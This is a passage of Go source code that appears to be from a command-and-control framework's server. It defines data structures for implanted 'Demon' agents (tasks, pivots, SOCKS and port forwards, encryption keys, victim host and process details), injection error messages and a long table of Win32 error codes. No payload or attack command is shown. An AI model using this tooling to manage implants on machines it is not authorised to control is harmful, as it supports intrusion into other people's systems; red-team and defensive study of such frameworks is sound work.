packager.Package) []packager.Package\n\tEventBroadcast(ExceptClient string, pk packager.Package)\n\tEventNewDemon(DemonAgent *Agent) packager.Package\n\tEventAgentMark(AgentID, Mark string)\n\tEventListenerError(ListenerName string, Error error)\n\n\tListenerAdd(FromUser string, Type int, Config any) packager.Package\n\n\tServiceAgent(MagicValue int) ServiceAgentInterface\n\tServiceAgentExist(MagicValue int) bool\n\n\tGetDotNetPipeTemplate() string\n\n\tSendLogs() bool\n}\n\ntype Job struct {\n\tCommand   uint32\n\tRequestID uint32\n\tData      []interface{}\n\tPayload   []byte\n\n\tCommandLine string\n\tTaskID      string\n\tCreated     string\n\n\tEncryption struct {\n\t\tKey []byte\n\t\tIV  []byte\n\t}\n}\n\ntype Pivots struct {\n\tParent *Agent\n\tLinks  []*Agent\n}\n\ntype Download struct {\n\tFile      *os.File\n\tFileID    int\n\tFilePath  string\n\tLocalFile string\n\tTotalSize int64\n\tProgress  int64\n\tState     int\n}\n\ntype BofCallback struct {\n\tTaskID   uint32\n\tOutput   string\n\tError    string\n\tClientID string\n}\n\ntype PortFwd struct {\n\tConn    net.Conn\n\tSocktID int\n\tType    int\n\n\tLclAddr int\n\tLclPort int\n\n\tFwdAddr int\n\tFwdPort int\n\tTarget  string\n}\n\ntype SocksClient struct {\n\tSocketID  int32\n\tConn      net.Conn\n\tConnected bool\n\tATYP      byte\n\tIpDomain  []byte\n\tPort      uint16\n}\n\ntype SocksServer struct {\n\tServer *socks.Socks\n\tAddr   string\n}\n\n// TODO: maybe change this to type map[string]any instead of struct\ntype Agent struct {\n\tNameID     string\n\tJobQueue   []Job\n\tTasks      []Job\n\tSessionDir string\n\tActive     bool\n\tReason     string\n\n\tBofCallbacks []*BofCallback\n\n\tInfo   *AgentInfo\n\tPivots Pivots\n\n\t/* TODO: make a map called \"Optional\" where to put demon/3rd party\n\t * \t\t specific data (either use type \"any\" or map lets see).\n\t * \t\t to avoid having some unnecessary data for 3rd party agent */\n\tDownloads   []*Download\n\tPortFwds    []*PortFwd\n\tPortFwdsMtx sync.Mutex\n\tSocksCli    []*SocksClient\n\tSocksCliMtx sync.Mutex\n\tSocksSvr    []*SocksServer\n\tSocksSvrMtx sync.Mutex\n\n\tEncryption struct {\n\t\tAESKey []byte\n\t\tAESIv  []byte\n\t}\n\tTaskedOnce bool\n\n\n\t/* general value. leave it... */\n\tBackgroundCheck bool\n}\n\ntype AgentInfo struct {\n\t// Connection Info\n\tListener    any\n\tMagicValue  int\n\n\tSleepDelay   int\n\tSleepJitter  int\n\tKillDate     int64\n\tWorkingHours int32\n\n\t// OS Info\n\tOSVersion string\n\tOSArch    string\n\tOSBuild   string\n\n\tInternalIP string\n\tExternalIP string\n\tHostname   string\n\tDomainName string\n\tUsername   string\n\n\t// User Info\n\tElevated string\n\n\t// Process Info\n\tProcessArch string\n\tProcessName string\n\tProcessPID  int\n\tProcessTID  int\n\tProcessPPID int\n\tProcessPath string\n\tBaseAddress int64\n\n\t// Call home from Demon\n\tFirstCallIn string\n\tLastCallIn  string\n}\n\ntype Agents struct {\n\tAgents []*Agent\n}\n\nvar InjectErrors = map[int]string{\n\t0x1001: \"trying to inject a x64 payload into a x86 process\",\n\t0x1002: \"trying to inject a x86 payload into a x64 process\",\n\t0x1003: \"failed to spawn target process\",\n}\n\nconst (\n\tDOWNLOAD_STATE_RUNNING = 0x1\n\tDOWNLOAD_STATE_STOPPED = 0x2\n\tDOWNLOAD_STATE_REMOVE  = 0x3\n)\n\nvar Win32ErrorCodes = map[int]string{\n\t1:    \"ERROR_INVALID_FUNCTION\",\n\t2:    \"ERROR_FILE_NOT_FOUND\",\n\t3:    \"ERROR_PATH_NOT_FOUND\",\n\t4:    \"ERROR_TOO_MANY_OPEN_FILES\",\n\t5:    \"ERROR_ACCESS_DENIED\",\n\t6:    \"ERROR_INVALID_HANDLE\",\n\t7:    \"ERROR_ARENA_TRASHED\",\n\t8:    \"ERROR_NOT_ENOUGH_MEMORY\",\n\t9:    \"ERROR_INVALID_BLOCK\",\n\t10:   \"ERROR_BAD_ENVIRONMENT\",\n\t11:   \"ERROR_BAD_FORMAT\",\n\t12:   \"ERROR_INVALID_ACCESS\",\n\t13:   \"ERROR_INVALID_DATA\",\n\t14:   \"ERROR_OUTOFMEMORY\",\n\t15:   \"ERROR_INVALID_DRIVE\",\n\t16:   \"ERROR_CURRENT_DIRECTORY\",\n\t17:   \"ERROR_NOT_SAME_DEVICE\",\n\t18:   \"ERROR_NO_MORE_FILES\",\n\t19:   \"ERROR_WRITE_PROTECT\",\n\t20:   \"ERROR_BAD_UNIT\",\n\t21:   \"ERROR_NOT_READY\",\n\t22:   \"ERROR_BAD_COMMAND\",\n\t23:   \"ERROR_CRC\",\n\t24:   \"ERROR_BAD_LENGTH\",\n\t25:   \"ERROR_SEEK\",\n\t26:   \"ERROR_NOT_DOS_DISK\",\n\t27:   \"ERROR_SECTOR_NOT_FOUND\",\n\t28:   \"ERROR_OUT_OF_PAPER\",\n\t29:   \"ERROR_WRITE_FAULT\",\n\t30:   \"ERROR_READ_FAULT\",\n\t31:   \"ERROR_GEN_FAILURE\",\n\t32:   \"ERROR_SHARING_VIOLATION\",\n\t33:   \"ERROR_LOCK_VIOLATION\",\n\t34:   \"ERROR_WRONG_DISK\",\n\t36:   \"ERROR_SHARING_BUFFER_EXCEEDED\",\n\t38:   \"ERROR_HANDLE_EOF\",\n\t39:   \"ERROR_HANDLE_DISK_FULL\",\n\t50:   \"ERROR_NOT_SUPPORTED\",\n\t51:   \"ERROR_REM_NOT_LIST\",\n\t52:   \"ERROR_DUP_NAME\",\n\t53:   \"ERROR_BAD_NETPATH\",\n\t54:   \"ERROR_NETWORK_BUSY\",\n\t55:   \"ERROR_DEV_NOT_EXIST\",\n\t56:   \"ERROR_TOO_MANY_CMDS\",\n\t57:   \"ERROR_ADAP_HDW_ERR\",\n\t58:   \"ERROR_BAD_NET_RESP\",\n\t59:   \"ERROR_UNEXP_NET_ERR\",\n\t60:   \"ERROR_BAD_REM_ADAP\",\n\t61:   \"ERROR_PRINTQ_FULL\",\n\t62:   \"ERROR_NO_SPOOL_SPACE\",\n\t63:   \"ERROR_PRINT_CANCELLED\",\n\t64:   \"ERROR_NETNAME_DELETED\",\n\t65:   \"ERROR_NETWORK_ACCESS_DENIED\",\n\t66:   \"ERROR_BAD_DEV_TYPE\",\n\t67:   \"ERROR_BAD_NET_NAME\",\n\t68:   \"ERROR_TOO_MANY_NAMES\",\n\t69:   \"ERROR_TOO_MANY_SESS\",\n\t70:   \"ERROR_SHARING_PAUSED\",\n\t71:   \"ERROR_REQ_NOT_ACCEP\",\n\t72:   \"ERROR_REDIR_PAUSED\",\n\t80:   \"ERROR_FILE_EXISTS\",\n\t82:   \"ERROR_CANNOT_MAKE\",\n\t83:   \"ERROR_FAIL_I24\",\n\t84:   \"ERROR_OUT_OF_STRUCTURES\",\n\t85:   \"ERROR_ALREADY_ASSIGNED\",\n\t86:   \"ERROR_INVALID_PASSWORD\",\n\t87:   \"ERROR_INVALID_PARAMETER\",\n\t88:   \"ERROR_NET_WRITE_FAULT\",\n\t89:   \"ERROR_NO_PROC_SLOTS\",\n\t100:  \"ERROR_TOO_MANY_SEMAPHORES\",\n\t101:  \"ERROR_EXCL_SEM_ALREADY_OWNED\",\n\t102:  \"ERROR_SEM_IS_SET\",\n\t103:  \"ERROR_TOO_MANY_SEM_REQUESTS\",\n\t104:  \"ERROR_INVALID_AT_INTERRUPT_TIME\",\n\t105:  \"ERROR_SEM_OWNER_DIED\",\n\t106:  \"ERROR_SEM_USER_LIMIT\",\n\t107:  \"ERROR_DISK_CHANGE\",\n\t108:  \"ERROR_DRIVE_LOCKED\",\n\t109:  \"ERROR_BROKEN_PIPE\",\n\t110:  \"ERROR_OPEN_FAILED\",\n\t111:  \"ERROR_BUFFER_OVERFLOW\",\n\t112:  \"ERROR_DISK_FULL\",\n\t113:  \"ERROR_NO_MORE_SEARCH_HANDLES\",\n\t114:  \"ERROR_INVALID_TARGET_HANDLE\",\n\t117:  \"ERROR_INVALID_CATEGORY\",\n\t118:  \"ERROR_INVALID_VERIFY_SWITCH\",\n\t119:  \"ERROR_BAD_DRIVER_LEVEL\",\n\t120:  \"ERROR_CALL_NOT_IMPLEMENTED\",\n\t121:  \"ERROR_SEM_TIMEOUT\",\n\t122:  \"ERROR_INSUFFICIENT_BUFFER\",\n\t123:  \"ERROR_INVALID_NAME\",\n\t124:  \"ERROR_INVALID_LEVEL\",\n\t125:  \"ERROR_NO_VOLUME_LABEL\",\n\t126:  \"ERROR_MOD_NOT_FOUND\",\n\t127:  \"ERROR_PROC_NOT_FOUND\",\n\t128:  \"ERROR_WAIT_NO_CHILDREN\",\n\t129:  \"ERROR_CHILD_NOT_COMPLETE\",\n\t130:  \"ERROR_DIRECT_ACCESS_HANDLE\",\n\t131:  \"ERROR_NEGATIVE_SEEK\",\n\t132:  \"ERROR_SEEK_ON_DEVICE\",\n\t133:  \"ERROR_IS_JOIN_TARGET\",\n\t134:  \"ERROR_IS_JOINED\",\n\t135:  \"ERROR_IS_SUBSTED\",\n\t136:  \"ERROR_NOT_JOINED\",\n\t137:  \"ERROR_NOT_SUBSTED\",\n\t138:  \"ERROR_JOIN_TO_JOIN\",\n\t139:  \"ERROR_SUBST_TO_SUBST\",\n\t140:  \"ERROR_JOIN_TO_SUBST\",\n\t141:  \"ERROR_SUBST_TO_JOIN\",\n\t142:  \"ERROR_BUSY_DRIVE\",\n\t143:  \"ERROR_SAME_DRIVE\",\n\t144:  \"ERROR_DIR_NOT_ROOT\",\n\t145:  \"ERROR_DIR_NOT_EMPTY\",\n\t146:  \"ERROR_IS_SUBST_PATH\",\n\t147:  \"ERROR_IS_JOIN_PATH\",\n\t148:  \"ERROR_PATH_BUSY\",\n\t149:  \"ERROR_IS_SUBST_TARGET\",\n\t150:  \"ERROR_SYSTEM_TRACE\",\n\t151:  \"ERROR_INVALID_EVENT_COUNT\",\n\t152:  \"ERROR_TOO_MANY_MUXWAITERS\",\n\t153:  \"ERROR_INVALID_LIST_FORMAT\",\n\t154:  \"ERROR_LABEL_TOO_LONG\",\n\t155:  \"ERROR_TOO_MANY_TCBS\",\n\t156:  \"ERROR_SIGNAL_REFUSED\",\n\t157:  \"ERROR_DISCARDED\",\n\t158:  \"ERROR_NOT_LOCKED\",\n\t159:  \"ERROR_BAD_THREADID_ADDR\",\n\t160:  \"ERROR_BAD_ARGUMENTS\",\n\t161:  \"ERROR_BAD_PATHNAME\",\n\t162:  \"ERROR_SIGNAL_PENDING\",\n\t164:  \"ERROR_MAX_THRDS_REACHED\",\n\t167:  \"ERROR_LOCK_FAILED\",\n\t170:  \"ERROR_BUSY\",\n\t173:  \"ERROR_CANCEL_VIOLATION\",\n\t174:  \"ERROR_ATOMIC_LOCKS_NOT_SUPPORTED\",\n\t180:  \"ERROR_INVALID_SEGMENT_NUMBER\",\n\t182:  \"ERROR_INVALID_ORDINAL\",\n\t183:  \"ERROR_ALREADY_EXISTS\",\n\t186:  \"ERROR_INVALID_FLAG_NUMBER\",\n\t187:  \"ERROR_SEM_NOT_FOUND\",\n\t188:  \"ERROR_INVALID_STARTING_CODESEG\",\n\t189:  \"ERROR_INVALID_STACKSEG\",\n\t190:  \"ERROR_INVALID_MODULETYPE\",\n\t191:  \"ERROR_INVALID_EXE_SIGNATURE\",\n\t192:  \"ERROR_EXE_MARKED_INVALID\",\n\t193:  \"ERROR_BAD_EXE_FORMAT\",\n\t194:  \"ERROR_ITERATED_DATA_EXCEEDS_64k\",\n\t195:  \"ERROR_INVALID_MINALLOCSIZE\",\n\t196:  \"ERROR_DYNLINK_FROM_INVALID_RING\",\n\t197:  \"ERROR_IOPL_NOT_ENABLED\",\n\t198:  \"ERROR_INVALID_SEGDPL\",\n\t199:  \"ERROR_AUTODATASEG_EXCEEDS_64k\",\n\t200:  \"ERROR_RING2SEG_MUST_BE_MOVABLE\",\n\t201:  \"ERROR_RELOC_CHAIN_XEEDS_SEGLIM\",\n\t202:  \"ERROR_INFLOOP_IN_RELOC_CHAIN\",\n\t203:  \"ERROR_ENVVAR_NOT_FOUND\",\n\t205:  \"ERROR_NO_SIGNAL_SENT\",\n\t206:  \"ERROR_FILENAME_EXCED_RANGE\",\n\t207:  \"ERROR_RING2_STACK_IN_USE\",\n\t208:  \"ERROR_META_EXPANSION_TOO_LONG\",\n\t209:  \"ERROR_INVALID_SIGNAL_NUMBER\",\n\t210:  \"ERROR_THREAD_1_INACTIVE\",\n\t212:  \"ERROR_LOCKED\",\n\t214:  \"ERROR_TOO_MANY_MODULES\",\n\t215:  \"ERROR_NESTING_NOT_ALLOWED\",\n\t216:  \"ERROR_EXE_MACHINE_TYPE_MISMATCH\",\n\t217:  \"ERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY\",\n\t218:  \"ERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY\",\n\t220:  \"ERROR_FILE_CHECKED_OUT\",\n\t221:  \"ERROR_CHECKOUT_REQUIRED\",\n\t222:  \"ERROR_BAD_FILE_TYPE\",\n\t223:  \"ERROR_FILE_TOO_LARGE\",\n\t224:  \"ERROR_FORMS_AUTH_REQUIRED\",\n\t225:  \"ERROR_VIRUS_INFECTED\",\n\t226:  \"ERROR_VIRUS_DELETED\",\n\t229:  \"ERROR_PIPE_LOCAL\",\n\t230:  \"ERROR_BAD_PIPE\",\n\t231:  \"ERROR_PIPE_BUSY\",\n\t232:  \"ERROR_NO_DATA\",\n\t233:  \"ERROR_PIPE_NOT_CONNECTED\",\n\t234:  \"ERROR_MORE_DATA\",\n\t240:  \"ERROR_VC_DISCONNECTED\",\n\t254:  \"ERROR_INVALID_EA_NAME\",\n\t255:  \"ERROR_EA_LIST_INCONSISTENT\",\n\t258:  \"WAIT_TIMEOUT\",\n\t259:  \"ERROR_NO_MORE_ITEMS\",\n\t266:  \"ERROR_CANNOT_COPY\",\n\t267:  \"ERROR_DIRECTORY\",\n\t275:  \"ERROR_EAS_DIDNT_FIT\",\n\t276:  \"ERROR_EA_FILE_CORRUPT\",\n\t277:  \"ERROR_EA_TABLE_FULL\",\n\t278:  \"ERROR_INVALID_EA_HANDLE\",\n\t282:  \"ERROR_EAS_NOT_SUPPORTED\",\n\t288:  \"ERROR_NOT_OWNER\",\n\t298:  \"ERROR_TOO_MANY_POSTS\",\n\t299:  \"ERROR_PARTIAL_COPY\",\n\t300:  \"ERROR_OPLOCK_NOT_GRANTED\",\n\t301:  \"ERROR_INVALID_OPLOCK_PROTOCOL\",\n\t302:  \"ERROR_DISK_TOO_FRAGMENTED\",\n\t303:  \"ERROR_DELETE_PENDING\",\n\t317:  \"ERROR_MR_MID_NOT_FOUND\",\n\t318:  \"ERROR_SCOPE_NOT_FOUND\",\n\t350:  \"ERROR_FAIL_NOACTION_REBOOT\",\n\t351:  \"ERROR_FAIL_SHUTDOWN\",\n\t352:  \"ERROR_FAIL_RESTART\",\n\t353:  \"ERROR_MAX_SESSIONS_REACHED\",\n\t400:  \"ERROR_THREAD_MODE_ALREADY_BACKGROUND\",\n\t401:  \"ERROR_THREAD_MODE_NOT_BACKGROUND\",\n\t402:  \"ERROR_PROCESS_MODE_ALREADY_BACKGROUND\",\n\t403:  \"ERROR_PROCESS_MODE_NOT_BACKGROUND\",\n\t487:  \"ERROR_INVALID_ADDRESS\",\n\t500:  \"ERROR_USER_PROFILE_LOAD\",\n\t534:  \"ERROR_ARITHMETIC_OVERFLOW\",\n\t535:  \"ERROR_PIPE_CONNECTED\",\n\t536:  \"ERROR_PIPE_LISTENING\",\n\t537:  \"ERROR_VERIFIER_STOP\",\n\t538:  \"ERROR_ABIOS_ERROR\",\n\t539:  \"ERROR_WX86_WARNING\",\n\t540:  \"ERROR_WX86_ERROR\",\n\t541:  \"ERROR_TIMER_NOT_CANCELED\",\n\t542:  \"ERROR_UNWIND\",\n\t543:  \"ERROR_BAD_STACK\",\n\t544:  \"ERROR_INVALID_UNWIND_TARGET\",\n\t545:  \"ERROR_INVALID_PORT_ATTRIBUTES\",\n\t546:  \"ERROR_PORT_MESSAGE_TOO_LONG\",\n\t547:  \"ERROR_INVALID_QUOTA_LOWER\",\n\t548:  \"ERROR_DEVICE_ALREADY_ATTACHED\",\n\t549:  \"ERROR_INSTRUCTION_MISALIGNMENT\",\n\t550:  \"ERROR_PROFILING_NOT_STARTED\",\n\t551:  \"ERROR_PROFILING_NOT_STOPPED\",\n\t552:  \"ERROR_COULD_NOT_INTERPRET\",\n\t553:  \"ERROR_PROFILING_AT_LIMIT\",\n\t554:  \"ERROR_CANT_WAIT\",\n\t555:  \"ERROR_CANT_TERMINATE_SELF\",\n\t556:  \"ERROR_UNEXPECTED_MM_CREATE_ERR\",\n\t557:  \"ERROR_UNEXPECTED_MM_MAP_ERROR\",\n\t558:  \"ERROR_UNEXPECTED_MM_EXTEND_ERR\",\n\t559:  \"ERROR_BAD_FUNCTION_TABLE\",\n\t560:  \"ERROR_NO_GUID_TRANSLATION\",\n\t561:  \"ERROR_INVALID_LDT_SIZE\",\n\t563:  \"ERROR_INVALID_LDT_OFFSET\",\n\t564:  \"ERROR_INVALID_LDT_DESCRIPTOR\",\n\t565:  \"ERROR_TOO_MANY_THREADS\",\n\t566:  \"ERROR_THREAD_NOT_IN_PROCESS\",\n\t567:  \"ERROR_PAGEFILE_QUOTA_EXCEEDED\",\n\t568:  \"ERROR_LOGON_SERVER_CONFLICT\",\n\t569:  \"ERROR_SYNCHRONIZATION_REQUIRED\",\n\t570:  \"ERROR_NET_OPEN_FAILED\",\n\t571:  \"ERROR_IO_PRIVILEGE_FAILED\",\n\t572:  \"ERROR_CONTROL_C_EXIT\",\n\t573:  \"ERROR_MISSING_SYSTEMFILE\",\n\t574:  \"ERROR_UNHANDLED_EXCEPTION\",\n\t575:  \"ERROR_APP_INIT_FAILURE\",\n\t576:  \"ERROR_PAGEFILE_CREATE_FAILED\",\n\t577:  \"ERROR_INVALID_IMAGE_HASH\",\n\t578:  \"ERROR_NO_PAGEFILE\",\n\t579:  \"ERROR_ILLEGAL_FLOAT_CONTEXT\",\n\t580:  \"ERROR_NO_EVENT_PAIR\",\n\t581:  \"ERROR_DOMAIN_CTRLR_CONFIG_ERROR\",\n\t582:  \"ERROR_ILLEGAL_CHARACTER\",\n\t583:  \"ERROR_UNDEFINED_CHARACTER\",\n\t584:  \"ERROR_FLOPPY_VOLUME\",\n\t585:  \"ERROR_BIOS_FAILED_TO_CONNECT_INTERRUPT\",\n\t586:  \"ERROR_BACKUP_CONTROLLER\",\n\t587:  \"ERROR_MUTANT_LIMIT_EXCEEDED\",\n\t588:  \"ERROR_FS_DRIVER_REQUIRED\",\n\t589:  \"ERROR_CANNOT_LOAD_REGISTRY_FILE\",\n\t590:  \"ERROR_DEBUG_ATTACH_FAILED\",\n\t591:  \"ERROR_SYSTEM_PROCESS_TERMINATED\",\n\t592:  \"ERROR_DATA_NOT_ACCEPTED\",\n\t593:  \"ERROR_VDM_HARD_ERROR\",\n\t594:  \"ERROR_DRIVER_CANCEL_TIMEOUT\",\n\t595:  \"ERROR_REPLY_MESSAGE_MISMATCH\",\n\t596:  \"ERROR_LOST_WRITEBEHIND_DATA\",\n\t597:  \"ERROR_CLIENT_SERVER_PARAMETERS_INVALID\",\n\t598:  \"ERROR_NOT_TINY_STREAM\",\n\t599:  \"ERROR_STACK_OVERFLOW_READ\",\n\t600:  \"ERROR_CONVERT_TO_LARGE\",\n\t601:  \"ERROR_FOUND_OUT_OF_SCOPE\",\n\t602:  \"ERROR_ALLOCATE_BUCKET\",\n\t603:  \"ERROR_MARSHALL_OVERFLOW\",\n\t604:  \"ERROR_INVALID_VARIANT\",\n\t605:  \"ERROR_BAD_COMPRESSION_BUFFER\",\n\t606:  \"ERROR_AUDIT_FAILED\",\n\t607:  \"ERROR_TIMER_RESOLUTION_NOT_SET\",\n\t608:  \"ERROR_INSUFFICIENT_LOGON_INFO\",\n\t609:  \"ERROR_BAD_DLL_ENTRYPOINT\",\n\t610:  \"ERROR_BAD_SERVICE_ENTRYPOINT\",\n\t611:  \"ERROR_IP_ADDRESS_CONFLICT1\",\n\t612:  \"ERROR_IP_ADDRESS_CONFLICT2\",\n\t613:  \"ERROR_REGISTRY_QUOTA_LIMIT\",\n\t614:  \"ERROR_NO_CALLBACK_ACTIVE\",\n\t615:  \"ERROR_PWD_TOO_SHORT\",\n\t616:  \"ERROR_PWD_TOO_RECENT\",\n\t617:  \"ERROR_PWD_HISTORY_CONFLICT\",\n\t618:  \"ERROR_UNSUPPORTED_COMPRESSION\",\n\t619:  \"ERROR_INVALID_HW_PROFILE\",\n\t620:  \"ERROR_INVALID_PLUGPLAY_DEVICE_PATH\",\n\t621:  \"ERROR_QUOTA_LIST_INCONSISTENT\",\n\t622:  \"ERROR_EVALUATION_EXPIRATION\",\n\t623:  \"ERROR_ILLEGAL_DLL_RELOCATION\",\n\t624:  \"ERROR_DLL_INIT_FAILED_LOGOFF\",\n\t625:  \"ERROR_VALIDATE_CONTINUE\",\n\t626:  \"ERROR_NO_MORE_MATCHES\",\n\t627:  \"ERROR_RANGE_LIST_CONFLICT\",\n\t628:  \"ERROR_SERVER_SID_MISMATCH\",\n\t629:  \"ERROR_CANT_ENABLE_DENY_ONLY\",\n\t630:  \"ERROR_FLOAT_MULTIPLE_FAULTS\",\n\t631:  \"ERROR_FLOAT_MULTIPLE_TRAPS\",\n\t632:  \"ERROR_NOINTERFACE\",\n\t633:  \"ERROR_DRIVER_FAILED_SLEEP\",\n\t634:  \"ERROR_CORRUPT_SYSTEM_FILE\",\n\t635:  \"ERROR_COMMITMENT_MINIMUM\",\n\t636:  \"ERROR_PNP_RESTART_ENUMERATION\",\n\t637:  \"ERROR_SYSTEM_IMAGE_BAD_SIGNATURE\",\n\t638:  \"ERROR_PNP_REBOOT_REQUIRED\",\n\t639:  \"ERROR_INSUFFICIENT_POWER\",\n\t640:  \"ERROR_MULTIPLE_FAULT_VIOLATION\",\n\t641:  \"ERROR_SYSTEM_SHUTDOWN\",\n\t642:  \"ERROR_PORT_NOT_SET\",\n\t643:  \"ERROR_DS_VERSION_CHECK_FAILURE\",\n\t644:  \"ERROR_RANGE_NOT_FOUND\",\n\t646:  \"ERROR_NOT_SAFE_MODE_DRIVER\",\n\t647:  \"ERROR_FAILED_DRIVER_ENTRY\",\n\t648:  \"ERROR_DEVICE_ENUMERATION_ERROR\",\n\t649:  \"ERROR_MOUNT_POINT_NOT_RESOLVED\",\n\t650:  \"ERROR_INVALID_DEVICE_OBJECT_PARAMETER\",\n\t651:  \"ERROR_MCA_OCCURED\",\n\t652:  \"ERROR_DRIVER_DATABASE_ERROR\",\n\t653:  \"ERROR_SYSTEM_HIVE_TOO_LARGE\",\n\t654:  \"ERROR_DRIVER_FAILED_PRIOR_UNLOAD\",\n\t655:  \"ERROR_VOLSNAP_PREPARE_HIBERNATE\",\n\t656:  \"ERROR_HIBERNATION_FAILURE\",\n\t665:  \"ERROR_FILE_SYSTEM_LIMITATION\",\n\t668:  \"ERROR_ASSERTION_FAILURE\",\n\t669:  \"ERROR_ACPI_ERROR\",\n\t670:  \"ERROR_WOW_ASSERTION\",\n\t671:  \"ERROR_PNP_BAD_MPS_TABLE\",\n\t672:  \"ERROR_PNP_TRANSLATION_FAILED\",\n\t673:  \"ERROR_PNP_IRQ_TRANSLATION_FAILED\",\n\t674:  \"ERROR_PNP_INVALID_ID\",\n\t675:  \"ERROR_WAKE_SYSTEM_DEBUGGER\",\n\t676:  \"ERROR_HANDLES_CLOSED\",\n\t677:  \"ERROR_EXTRANEOUS_INFORMATION\",\n\t678:  \"ERROR_RXACT_COMMIT_NECESSARY\",\n\t679:  \"ERROR_MEDIA_CHECK\",\n\t680:  \"ERROR_GUID_SUBSTITUTION_MADE\",\n\t681:  \"ERROR_STOPPED_ON_SYMLINK\",\n\t682:  \"ERROR_LONGJUMP\",\n\t683:  \"ERROR_PLUGPLAY_QUERY_VETOED\",\n\t684:  \"ERROR_UNWIND_CONSOLIDATE\",\n\t685:  \"ERROR_REGISTRY_HIVE_RECOVERED\",\n\t686:  \"ERROR_DLL_MIGHT_BE_INSECURE\",\n\t687:  \"ERROR_DLL_MIGHT_BE_INCOMPATIBLE\",\n\t688:  \"ERROR_DBG_EXCEPTION_NOT_HANDLED\",\n\t689:  \"ERROR_DBG_REPLY_LATER\",\n\t690:  \"ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE\",\n\t691:  \"ERROR_DBG_TERMINATE_THREAD\",\n\t692:  \"ERROR_DBG_TERMINATE_PROCESS\",\n\t693:  \"ERROR_DBG_CONTROL_C\",\n\t694:  \"ERROR_DBG_PRINTEXCEPTION_C\",\n\t695:  \"ERROR_DBG_RIPEXCEPTION\",\n\t696:  \"ERROR_DBG_CONTROL_BREAK\",\n\t697:  \"ERROR_DBG_COMMAND_EXCEPTION\",\n\t698:  \"ERROR_OBJECT_NAME_EXISTS\",\n\t699:  \"ERROR_THREAD_WAS_SUSPENDED\",\n\t700:  \"ERROR_IMAGE_NOT_AT_BASE\",\n\t701:  \"ERROR_RXACT_STATE_CREATED\",\n\t702:  \"ERROR_SEGMENT_NOTIFICATION\",\n\t703:  \"ERROR_BAD_CURRENT_DIRECTORY\",\n\t704:  \"ERROR_FT_READ_RECOVERY_FROM_BACKUP\",\n\t705:  \"ERROR_FT_WRITE_RECOVERY\",\n\t706:  \"ERROR_IMAGE_MACHINE_TYPE_MISMATCH\",\n\t707:  \"ERROR_RECEIVE_PARTIAL\",\n\t708:  \"ERROR_RECEIVE_EXPEDITED\",\n\t709:  \"ERROR_RECEIVE_PARTIAL_EXPEDITED\",\n\t710:  \"ERROR_EVENT_DONE\",\n\t711:  \"ERROR_EVENT_PENDING\",\n\t712:  \"ERROR_CHECKING_FILE_SYSTEM\",\n\t713:  \"ERROR_FATAL_APP_EXIT\",\n\t714:  \"ERROR_PREDEFINED_HANDLE\",\n\t715:  \"ERROR_WAS_UNLOCKED\",\n\t716:  \"ERROR_SERVICE_NOTIFICATION\",\n\t717:  \"ERROR_WAS_LOCKED\",\n\t718:  \"ERROR_LOG_HARD_ERROR\",\n\t719:  \"ERROR_ALREADY_WIN32\",\n\t720:  \"ERROR_IMAGE_MACHINE_TYPE_MISMATCH_EXE\",\n\t721:  \"ERROR_NO_YIELD_PERFORMED\",\n\t722:  \"ERROR_TIMER_RESUME_IGNORED\",\n\t723:  \"ERROR_ARBITRATION_UNHANDLED\",\n\t724:  \"ERROR_CARDBUS_NOT_SUPPORTED\",\n\t725:  \"ERROR_MP_PROCESSOR_MISMATCH\",\n\t726:  \"ERROR_HIBERNATED\",\n\t727:  \"ERROR_RESUME_HIBERNATION\",\n\t728:  \"ERROR_FIRMWARE_UPDATED\",\n\t729:  \"ERROR_DRIVERS_LEAKING_LOCKED_PAGES\",\n\t730:  \"ERROR_WAKE_SYSTEM\",\n\t731:  \"ERROR_WAIT_1\",\n\t732:  \"ERROR_WAIT_2\",\n\t733:  \"ERROR_WAIT_3\",\n\t734:  \"ERROR_WAIT_63\",\n\t735:  \"ERROR_ABANDONED_WAIT_0\",\n\t736:  \"ERROR_ABANDONED_WAIT_63\",\n\t737:  \"ERROR_USER_APC\",\n\t738:  \"ERROR_KERNEL_APC\",\n\t739:  \"ERROR_ALERTED\",\n\t740:  \"ERROR_ELEVATION_REQUIRED\",\n\t741:  \"ERROR_REPARSE\",\n\t742:  \"ERROR_OPLOCK_BREAK_IN_PROGRESS\",\n\t743:  \"ERROR_VOLUME_MOUNTED\",\n\t744:  \"ERROR_RXACT_COMMITTED\",\n\t745:  \"ERROR_NOTIFY_CLEANUP\",\n\t746:  \"ERROR_PRIMARY_TRANSPORT_CONNECT_FAILED\",\n\t747:  \"ERROR_PAGE_FAULT_TRANSITION\",\n\t748:  \"ERROR_PAGE_FAULT_DEMAND_ZERO\",\n\t749:  \"ERROR_PAGE_FAULT_COPY_ON_WRITE\",\n\t750:  \"ERROR_PAGE_FAULT_GUARD_PAGE\",\n\t751:  \"ERROR_PAGE_FAULT_PAGING_FILE\",\n\t752:  \"ERROR_CACHE_PAGE_LOCKED\",\n\t753:  \"ERROR_CRASH_DUMP\",\n\t754:  \"ERROR_BUFFER_ALL_ZEROS\",\n\t755:  \"ERROR_REPARSE_OBJECT\",\n\t756:  \"ERROR_RESOURCE_REQUIREMENTS_CHANGED\",\n\t757:  \"ERROR_TRANSLATION_COMPLETE\",\n\t758:  \"ERROR_NOTHING_TO_TERMINATE\",\n\t759:  \"ERROR_PROCESS_NOT_IN_JOB\",\n\t760:  \"ERROR_PROCESS_IN_JOB\",\n\t761:  \"ERROR_VOLSNAP_HIBERNATE_READY\",\n\t762:  \"ERROR_FSFILTER_OP_COMPLETED_SUCCESSFULLY\",\n\t763:  \"ERROR_INTERRUPT_VECTOR_ALREADY_CONNECTED\",\n\t764:  \"ERROR_INTERRUPT_STILL_CONNECTED\",\n\t765:  \"ERROR_WAIT_FOR_OPLOCK\",\n\t766:  \"ERROR_DBG_EXCEPTION_HANDLED\",\n\t767:  \"ERROR_DBG_CONTINUE\",\n\t768:  \"ERROR_CALLBACK_POP_STACK\",\n\t769:  \"ERROR_COMPRESSION_DISABLED\",\n\t770:  \"ERROR_CANTFETCHBACKWARDS\",\n\t771:  \"ERROR_CANTSCROLLBACKWARDS\",\n\t772:  \"ERROR_ROWSNOTRELEASED\",\n\t773:  \"ERROR_BAD_ACCESSOR_FLAGS\",\n\t774:  \"ERROR_ERRORS_ENCOUNTERED\",\n\t775:  \"ERROR_NOT_CAPABLE\",\n\t776:  \"ERROR_REQUEST_OUT_OF_SEQUENCE\",\n\t777:  